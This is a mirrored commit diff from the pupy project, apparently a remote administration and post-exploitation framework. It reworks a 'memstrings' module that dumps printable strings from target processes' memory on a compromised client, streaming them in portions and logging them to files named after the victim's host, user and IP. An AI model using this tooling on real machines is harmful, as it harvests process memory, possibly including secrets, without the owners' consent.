mirror of https://github.com/n1nj4sec/pupy.git
Support termination and preserve memory during strings dump
This commit is contained in:
parent
c2d817e264
commit
4db302b048
|
@ -12,6 +12,8 @@ class MemStrings(PupyModule):
|
||||||
"""
|
"""
|
||||||
dependencies=['memorpy', 'memstrings']
|
dependencies=['memorpy', 'memstrings']
|
||||||
|
|
||||||
|
termevent = None
|
||||||
|
|
||||||
def init_argparse(self):
|
def init_argparse(self):
|
||||||
self.arg_parser = PupyArgumentParser(prog='memstrings', description=self.__doc__)
|
self.arg_parser = PupyArgumentParser(prog='memstrings', description=self.__doc__)
|
||||||
action = self.arg_parser.add_mutually_exclusive_group(required=True)
|
action = self.arg_parser.add_mutually_exclusive_group(required=True)
|
||||||
|
@ -19,7 +21,7 @@ class MemStrings(PupyModule):
|
||||||
help='Include processes with specified pids')
|
help='Include processes with specified pids')
|
||||||
action.add_argument('-n', '--name', nargs='*', default=[],
|
action.add_argument('-n', '--name', nargs='*', default=[],
|
||||||
help='Include processes with specified names')
|
help='Include processes with specified names')
|
||||||
self.arg_parser.add_argument('-o', '--omit', type=str, default='isrx',
|
self.arg_parser.add_argument('-x', '--omit', type=str, default='isrx',
|
||||||
help='Avoid scanning: '
|
help='Avoid scanning: '
|
||||||
'i - ranges with file mapping; '
|
'i - ranges with file mapping; '
|
||||||
's - ranges with shared region; '
|
's - ranges with shared region; '
|
||||||
|
@ -29,9 +31,12 @@ class MemStrings(PupyModule):
|
||||||
help='Show only strings which are longer then specified length')
|
help='Show only strings which are longer then specified length')
|
||||||
self.arg_parser.add_argument('-m', '--max-length', type=int, default=51,
|
self.arg_parser.add_argument('-m', '--max-length', type=int, default=51,
|
||||||
help='Show only strings which are shorter then specified length')
|
help='Show only strings which are shorter then specified length')
|
||||||
|
self.arg_parser.add_argument('-P', '--portions', type=int, default=8192,
|
||||||
|
help='Strings portion block')
|
||||||
|
self.arg_parser.add_argument('-d', '--no-duplication', default=False, action='store_true',
|
||||||
|
help='Enable strings deduplication (will increase memory usage)')
|
||||||
self.arg_parser.add_argument(
|
self.arg_parser.add_argument(
|
||||||
'-log',
|
'-o', '--output',
|
||||||
help='Save output to file. Omit output to stdout. You can use vars: '
|
help='Save output to file. Omit output to stdout. You can use vars: '
|
||||||
'%%h - host, %%m - mac, %%P - platform, %%u - user, %%a - ip address'
|
'%%h - host, %%m - mac, %%P - platform, %%u - user, %%a - ip address'
|
||||||
'%%p - pid, %%n - name'
|
'%%p - pid, %%n - name'
|
||||||
|
@ -39,62 +44,70 @@ class MemStrings(PupyModule):
|
||||||
|
|
||||||
def run(self, args):
|
def run(self, args):
|
||||||
targets = args.pid + args.name
|
targets = args.pid + args.name
|
||||||
dump = self.client.conn.modules.memstrings.find_strings(
|
|
||||||
targets,
|
|
||||||
min_length=args.min_length,
|
|
||||||
max_length=args.max_length,
|
|
||||||
omit=args.omit
|
|
||||||
)
|
|
||||||
dump = obtain(dump)
|
|
||||||
if not dump:
|
|
||||||
self.error('No dumps received')
|
|
||||||
return
|
|
||||||
|
|
||||||
self.success('Get {} dumps'.format(len(dump)))
|
self.termevent = self.client.conn.modules.threading.Event()
|
||||||
|
|
||||||
log = None
|
logs = {}
|
||||||
|
|
||||||
for pid, items in dump.iteritems():
|
for pid, name, strings in self.client.conn.modules.memstrings.iterate_strings(
|
||||||
name = items.get('name')
|
targets,
|
||||||
strings = items.get('strings')
|
min_length=args.min_length,
|
||||||
|
max_length=args.max_length,
|
||||||
|
omit=args.omit,
|
||||||
|
portions=args.portions,
|
||||||
|
terminate=self.termevent,
|
||||||
|
nodup=args.no_duplication,
|
||||||
|
):
|
||||||
|
|
||||||
if args.log:
|
strings = obtain(strings)
|
||||||
log = args.log.replace(
|
pid = str(pid) or '0'
|
||||||
'%m', self.client.desc['macaddr']
|
name = str(name) or ''
|
||||||
).replace(
|
|
||||||
'%P', self.client.desc['platform']
|
if not strings:
|
||||||
).replace(
|
self.error('No dumps received')
|
||||||
'%a', self.client.desc['address']
|
return
|
||||||
).replace(
|
|
||||||
'%h', self.client.desc['hostname'].replace(
|
if args.output:
|
||||||
'..', '__'
|
if not pid in logs:
|
||||||
|
log = args.output.replace(
|
||||||
|
'%m', self.client.desc['macaddr']
|
||||||
).replace(
|
).replace(
|
||||||
'/', '_'
|
'%P', self.client.desc['platform']
|
||||||
|
).replace(
|
||||||
|
'%a', self.client.desc['address']
|
||||||
|
).replace(
|
||||||
|
'%h', self.client.desc['hostname'].replace(
|
||||||
|
'..', '__'
|
||||||
|
).replace(
|
||||||
|
'/', '_'
|
||||||
|
)
|
||||||
|
).replace(
|
||||||
|
'%u', self.client.desc['user'].replace(
|
||||||
|
'..', '__'
|
||||||
|
).replace(
|
||||||
|
'/', '_'
|
||||||
|
)
|
||||||
|
).replace(
|
||||||
|
'%p', str(pid),
|
||||||
|
).replace(
|
||||||
|
'%n', name.replace(
|
||||||
|
'..', '__'
|
||||||
|
).replace(
|
||||||
|
'/', '_'
|
||||||
|
),
|
||||||
)
|
)
|
||||||
).replace(
|
|
||||||
'%u', self.client.desc['user'].replace(
|
|
||||||
'..', '__'
|
|
||||||
).replace(
|
|
||||||
'/', '_'
|
|
||||||
)
|
|
||||||
).replace(
|
|
||||||
'%p', pid,
|
|
||||||
).replace(
|
|
||||||
'%n', name.replace(
|
|
||||||
'..', '__'
|
|
||||||
).replace(
|
|
||||||
'/', '_'
|
|
||||||
),
|
|
||||||
)
|
|
||||||
|
|
||||||
dirname = os.path.dirname(log)
|
dirname = os.path.dirname(log)
|
||||||
if not os.path.exists(dirname):
|
if not os.path.exists(dirname):
|
||||||
os.makedirs(dirname)
|
os.makedirs(dirname)
|
||||||
|
|
||||||
self.success('Dump {}:{} to {}'.format(name, pid, log))
|
self.success('Dumping {}:{} -> {}'.format(name, pid, log))
|
||||||
with open(log, 'w') as log:
|
logs[pid] = open(log, 'a+')
|
||||||
for s in strings:
|
|
||||||
log.write(s+'\n')
|
for s in strings:
|
||||||
|
logs[pid].write(s+'\n')
|
||||||
|
|
||||||
|
logs[pid].flush()
|
||||||
|
|
||||||
else:
|
else:
|
||||||
self.success('Strings {}:{}'.format(name, pid))
|
self.success('Strings {}:{}'.format(name, pid))
|
||||||
|
@ -102,3 +115,10 @@ class MemStrings(PupyModule):
|
||||||
self.stdout.write(s+'\n')
|
self.stdout.write(s+'\n')
|
||||||
|
|
||||||
self.stdout.write('\n')
|
self.stdout.write('\n')
|
||||||
|
|
||||||
|
for log in logs.itervalues():
|
||||||
|
log.close()
|
||||||
|
|
||||||
|
def interrupt(self):
|
||||||
|
if self.termevent:
|
||||||
|
self.termevent.set()
|
||||||
|
|
|
@ -11,9 +11,9 @@ def try_int(x):
|
||||||
except:
|
except:
|
||||||
return x
|
return x
|
||||||
|
|
||||||
def find_strings(targets, min_length=4, max_length=51, omit='isxr'):
|
def iterate_strings(targets, min_length=4, max_length=51, omit='isxr', portions=4096, nodup=True, terminate=None):
|
||||||
if not targets:
|
if not targets:
|
||||||
return {}
|
return
|
||||||
|
|
||||||
if type(targets) == (str, int):
|
if type(targets) == (str, int):
|
||||||
targets = [ targets ]
|
targets = [ targets ]
|
||||||
|
@ -24,26 +24,39 @@ def find_strings(targets, min_length=4, max_length=51, omit='isxr'):
|
||||||
printable = re.compile('^[\x20-\x7e]{{{},{}}}$'.format(min_length, max_length))
|
printable = re.compile('^[\x20-\x7e]{{{},{}}}$'.format(min_length, max_length))
|
||||||
|
|
||||||
for process in memorpy.Process.list():
|
for process in memorpy.Process.list():
|
||||||
|
if terminate is not None and terminate.is_set():
|
||||||
|
break
|
||||||
|
|
||||||
if not (
|
if not (
|
||||||
os.path.basename(process.get('name')) in targets or process.get('pid') in targets
|
os.path.basename(process.get('name')) in targets or process.get('pid') in targets
|
||||||
):
|
):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
strings = []
|
strings = []
|
||||||
results[process.get('pid')] = {
|
pid = process.get('pid')
|
||||||
'name': process.get('name'),
|
name = process.get('name')
|
||||||
'strings': strings
|
|
||||||
}
|
|
||||||
|
|
||||||
mw = memorpy.MemWorker(pid=process.get('pid'))
|
mw = memorpy.MemWorker(pid=process.get('pid'))
|
||||||
duplicates = set()
|
duplicates = set()
|
||||||
for _, (cstring,) in mw.mem_search('([^\x00]+)', ftype='groups', optimizations=omit):
|
for _, (cstring,) in mw.mem_search('([^\x00]+)', ftype='groups', optimizations=omit):
|
||||||
if printable.match(cstring):
|
if terminate is not None and terminate.is_set():
|
||||||
if not cstring in duplicates:
|
break
|
||||||
duplicates.add(cstring)
|
|
||||||
strings.append(cstring)
|
|
||||||
|
|
||||||
return results
|
if printable.match(cstring):
|
||||||
|
if nodup:
|
||||||
|
if cstring in duplicates:
|
||||||
|
continue
|
||||||
|
|
||||||
|
duplicates.add(cstring)
|
||||||
|
|
||||||
|
strings.append(cstring)
|
||||||
|
if len(strings) >= portions:
|
||||||
|
yield pid, name, strings
|
||||||
|
strings = []
|
||||||
|
|
||||||
|
if strings:
|
||||||
|
yield pid, name, strings
|
||||||
|
strings = []
|
||||||
|
|
||||||
if __name__=="__main__":
|
if __name__=="__main__":
|
||||||
import sys
|
import sys
|
||||||
|
|
Loading…
Reference in New Issue